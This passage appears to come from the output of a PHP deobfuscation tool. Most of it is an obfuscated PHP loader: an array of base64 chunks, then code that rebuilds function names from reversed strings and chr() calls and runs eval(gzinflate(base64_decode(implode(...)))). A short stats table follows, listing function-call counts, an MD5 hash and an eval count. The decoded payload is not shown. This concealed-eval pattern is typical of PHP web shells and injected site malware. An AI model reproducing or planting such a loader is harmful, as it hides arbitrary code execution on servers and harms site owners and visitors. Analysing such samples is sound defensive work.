k+5Aa','13TG7AVVfTEAk8K3wryX/8g','l7QXQXFw1+8f+oXCSxecn6R','0Zt0JBVXBQVHP+n44/X8D0W','AUJcgjgRVYIBZC34HYCagu9','BNOXU1ooHLqvK4KLb1y66LT','Y4V9jlAzs3d63Lc2V3cNm+6','NL336yjUcSKiZh50dWAsGUC','QLt8MAj3oJ9bJVSMsYsug66','YohZjgKuJmMG5CoAaOLMGZl','CIUUEUC+RqqYyGryrlY1CRn','2oA4z7qzOA608911FcxEoCq','dlnQbtXoDTCtPnVmkoDFsD4','proQNzPOucflg8TkuBlo0t2','XtulHSPABDKpKjz4qHbHDT6','uMwC1GWAojMzFdCmVEJ0SsR','1TyKzdEy0PTxf2E/KnqGbia','OhSrmvqXRtLZrU9ZySVVFed','D+YZVQDdJqYIzCqTXJ/VEJ5','qB4GGAiKsryBA1EpKZSjIGe','cR5aqsG9QIUvXXTAzjX4En+','r5YqLGKklOsEoqabDZP2xUI','AFjHFZx8ZNHTt6ZBBHosjN+','4WeZuIY9EESNs77gjEEIr2U','f0zZfxx+oFRDWDWkMMf0oYX','pRTYwKJ+ZiLgkp1hFU1ZCgI','4rpKlIogOLolDNfKUqaKMqK','kWpnGfKpS2mEvCB+HOlnPdj','v6iaRAvVoz5VufpG/Cx1Pwp','5T+qHaRTx+rXyB2JVQ/v9mJ','FwUkGJxVOR4PRzsw7MZDUwW','H/UGONvzT4zQKUGRrlamiU0','JcVBNQYzp06yFbfn5r58eKl','mY5RVCdkO0vkwsxpSrQS9Qh','6quOqrHqOCOqjEFEfSBKJVQ','zbNYguVTdvFARAk1nCyNR4A','Iz80Sy0zomJmJUTtlxZZGCQ','NVj8cZBlAhBtg+GY8fDOFYw','fl4qsYq/SaoVFAlUoEK4sJC','ap4/lMYowZmUIlRy0rjvli/','xDWOFtU41dWaFdHqPEIwrUL','hLFo3pklq9YWrTkqBhfGUwe','fr7dWXjubJtpa9RR0RXCXZ6','sP1+lCjWvoyBv26aYCDzUeM','uo8LarNfBtlY5NblXMMty8p','pPVXqM+i+Qk2mgTG7dpGPaL','V0+RhBUsOwqvrH+pBp1ZB+J','USvQhhqJaJ4fU1FN+4gFYca','Mm8LHdcYVGP61RhVLc5r2J5','lUQk1q7mVxVqce1NJBUBLBK','R+VfIgyqdkHTUK3aWLbqZjO','uTFWb1VOq2MjZKcQZ0qT9oF','wJVzXB2cM7XKCymxMFwitVQ','R4lW1vM6l5QcVzU+QD0lx/f','p7pbaK9a6qmWLhXwQSO66qp','pRjyLkqIeVbHVTGJ6NiNbY4','GB9AaQ3Ngbrx2K0tIjNoqaw','IkSqWhbRXbJZvUGOYp2pVVB','Cl62nzsVsy/6ZFOCqVWU/ds','1Gtx0s9yO6naFE9XOVJtDee','jeiVUFrqVWJYDUxZ/ZuC6TU','wRiVG61dCDOU/s69C1LhB/b','tbGClGYvVVNb9UDPd/16Jx1','02rtTyMkExTKyF6NaR4ayWG','FN+ASiDWb+94CWBxpRYB+lW','AKllUtQpg6FWIKiEKZUBN5U','TWcngfF45mDUy/EtNXyyFoz','iX36xTcpNKeEHhjSkuphrBq','iFEJGVR3NCjZVySzxn3F4s0','hrAopbGlP2yyJGRhaZR/Ztb','YoPTLIPsH0f8M2bsyJaupqk','PnE4ccsVEWp7kctuameAtWQ','mN9ZqIEr2bFMQLpWuuGmsuh','OcTVsUL5bw/MS3xFBRbOa2T','FNXbNSTJMwMbMVN2JiCpWVD','hejEKMdGJ1VY4otMMFYVhlm','UFq9CIRVesPCEIs5tdhRcfP','aKE8d0JNlPW4DJaJR1cfttM','V0gyrOGqtCFG81WORwtHQya','2CsGpjivjC/GcrTivCYuMRZ','E0zxJA9o68USFV8lxqrGFD9','MkMIUy2OI5xp+N+THjJhqVW','O0GhijLMSmYGYNTI3uLOtpO','SjmoGp6ZS9q6e3KFKxcYONR','e/zxk2yN+M4/hVcCCezLRif','9skgjuocP4UHlwFK0LnbDeW','s+ikuwuZ/7soSlWYdhZnVch','swskMqAsXG+rAA3aBeUUoNZ','wo/8EHvHHQBV7W9DYqjKaPd','aiQIJs/LBDXw6jDIb7b8yTS','/A0V7aQBQiTGGNzn/Bv4z2a','N+axXcWXxIkYzLCQYx8RF/h','ZTDP3Eajs5OZ7agCVnU13UQ','mg20q7Z6qg3QjrwR0nT+Rpl','npNpps3AOm+7JZngrfH2AW3','0DMskS/snhCGmR6Iz2SApCr','km4iRip1RtVcppG8iar8vkE','3jrb6o/84Upz0rFpwRxITxi','BDxedDEZszqp4ZghU/HIb99','bOyoLvgzVldWMPGGNDpKS0x','E8b+R5aQtkfFNhbLeHkeDtd','tLA+TNTrxLJ+VxywBJKlyG5','B9dizbHj83hiLx4rigHXV8b','hW3D8rbdVbOH0s2vaDJLBfd','qGBtaOWiGf0K+uKhaZrwH2Z','qBebQ14rMIHoirthQ+LOtCq','SOPMT282GZZv6ol26VWFjKT','shhQJFYxlvqpi8xjDyiljK3','fJdup9HztlpGQ9F6ku6JM5b','hykhrVl9UZ6qulLbq2dA1EL','dRqGpTs0GPUbTAznFfDmJjv','hNTtM7GNtp+xdsErMwr6aYo','3ZEZpHTb4CPFLtWty3yNquZ','OU1889sL6/bxmenSM7kAnjy','4hX0qEWLPpeuoqJTKWfrgha','xKquJGTPGhBMqIu6PaImutq','tAtOK+zNNJ40sa22FL2liBt','RTC/oQI1MRdOKlMSVmGvPDZ','5bKNKnheP90nPQZvp6Php/6','ZqovPtmwoClniLPk1tNPyOw','2bGW0ZYq9gY1JQPHJKamnsv','KglWWp/GCkJ6WKdfg0PoZpv','dce1NV8nQ1td2W7TV/ArAkY','5Yp7mfBVJGayU0VUZuk1B9f','13LVakZPR7G0J+Hmt7k5rAZ','Pj6pwhpR7mCJEqLqR6woDcd','NMVY0ii7P4CxX5kZc/6MPyd','ahE0TKtxNQc4YNqGNcyVjAQ','d0aTnQu6TBUnv0Og5ud4GoU','iiuMcaQ0x4WpBFUGhkGeT/C','qCykiDF5/FQQpnwigIYnwVY','uZGJQpGFAIH+ZkeqfsDURlv','t/Pn/I2s+yTNJLeR3tLI9o7','kuO+Rz5zuKmWeO9wIbUZ0h8','co1gwGtfyh09aOvhHcqT16Q','Y7eraI3rzZer2rRi9j4cte1','513PHfwrmK99urQIlldeiH+','Jr4lv384JsnKnDr4hJvueaE','M+k7kLXRBy7RMQj2CAL3c5v','Zfm7pVv+/f4G19jXPl0hoCM','LzzOvTCEvuXb29sgRMby6j6','88ZbwBzACQrziIEsZfgAK/7','hf3sFXeOtOnDnR+Pbiiv91b','y+nDrX6znIK3z9df42dLez5','re1TV9cOSCpfuctrOXoJb+b','5jj25wfNVsi+j2UH8fhpdae','P7evTm4sIOJzetRi/T3Gvgg','TXxG245b+6lziL5le66lTNV','ceepq0UCpCBpIZI379rtaln','4gRr0ovM2/f4BY3UGJK7T2T','+ZdwK33gnOvhKM3RYelSB6z','/COD37JUB2+fTv6ejo+Ovzy','4QyI+TkguZDRl7fH7z59+VA','MweNLcrus6BHPqpCRaUW3Zb','ioOUeCrOZ/JRrGd96b4DedZ','uiBozMlfseSm0fyOu1n7y93','Prd7eleRWhNvsbJDF1xoKH3','+9mkkWV1lKP2TzhUIpC+nkt','lV2unAE1EbSC1wQ+ksQ2N02','VBylrtn34aS/3OPdQddpQtT','+MGZfPd6UK5ZygCqTUN67/r','OzLvradj+9F5SnDXFUHRJkB','P/K9ef9pSu+W8YhArRNumLK','cqA6akxmNDcSIdgett/85gk','jJJjd+mGMr3wm9/u3DmT6Jy','a1HlI0Ykh0aSe47vaLaUjzs','vhF9u7rH05TJaUTQhuB1Lcb','audaqOrgQNRBMgnNx3p7dnJ','0fFXPEnkCCIJPwyjEvxxdPh','udNKRlDrg00+fR8dnp3iOjF','cHfzI6PTv5cnpy+OXbe+yE1','SHC+EHhoyNUtXlgVOsN6AJP','VGjJgT1zxgtv6vBgkDTguVP','jKztw+FllRacGvSmU4v3x0d','HxP4+O3x6efjr+khX919b6s','JjP58P/PRm9+3TyrSOp7czM','JkdeRFaDlFszLA6uyrbwUy4','Eh9TpB/mjjF73jo9XyDvHKD','njYutwsMADrwGFblv19dy7s','udS05tP+XEPqXf38QydR9n6','yvdCb+Lh4Th0QBQe+0BhkWq','VAM9+yRww8VpKGqS9+IgaOS','UDP2onc9RA1Eun0ehwJ8mqN','Z2kn/eeQzGOqEahCTVXMBwc','Kh7Okm3hvb9x7lZzPFel0Yt','6zIPh17lyOcxlnhkBqgSFx7','YNXvxANSICdxDUB1Kj0c7At','s+4izoCGYclB9nFxybdeEF4','dU8nXm0M6Rca0t+PpSqUIem','/iSaI56lE5tgCvh3JUiBOOL','6/9Pg3qGozPsElx16ge47x/','CtvDTaIDDoE2/AqbCic6wCq','U5Tww+hUiIupv8e6yoV/sdx','QHUd3Af4Rxr1HM1wKO3Fmju','/4e4krIAn1U0p3OJk4q3D3y','F5erwG7h6lvHXTga/jjQMFd','/TLqM6gVdw/RJaFjuxT61ls','uHQoOe9JbjEuIzqGYrdZ4zA','3pmJPnnduIh+g53kyovNJCR','RQDOWZgSjF7XRmY7TKbjY7+','o142RiZ4pp00HlJHtHbUTSo','e6tBnOWLLbbkhRTGxcmQxv0','ZCtH/l41ky9HmxFJBy34zZp','KMFHSrS4HxgSEKiHHHFUNhl','pbh4LE1q8Gxj8DkBIE3WKB0','EiYLIuuZwwBnXEyGh2cxW+Z','JkFmxH4hSui70eJgUxI9V2u','5kFIj57UtF8bGaFTQ3nssVj','Y3KCalWG4ZE1srot44mdoVE','qLLJvvHjeN188Z4y9eD4YwP','8+/sAriiEuM6a8eG5YjceIE','KsLBIAVUuJV20zE9EbLqXYt','o4iKI/5dZBG5lVJcbdrzuXc','7xmptxuskWgMyeWsRMAnv+P','gwH1E5dheOJ/ArjA4E2pKPb','/hIB6+kAgCBRF4jHGS1LVDW','SpNf6cOWSo8sw6JDwlQLQ9g','oyP8DheiG3gSdMkyOZX396v','8B');$zkyd_a = $nmwalo_au(''.chr(101).'do'.chr(99).'ed'.chr(95).'4'.chr(54).'es'.chr(97).'b');$qursny = $nmwalo_au('edo'.'lpm'.'i');$iczcsv_sav = $nmwalo_au('eta'.'lfn'.'izg');eval($iczcsv_sav($zkyd_a($qursny('',$gbkgbry)))); ?>Function Calls
| chr | 5 |
| strrev | 3 |
| implode | 1 |
| gzinflate | 1 |
| base64_decode | 1 |
Stats
| MD5 | 459f70ff8bfc6fad59dc0195f00690d8 |
| Eval Count | 1 |
| Decode Time | 133 ms |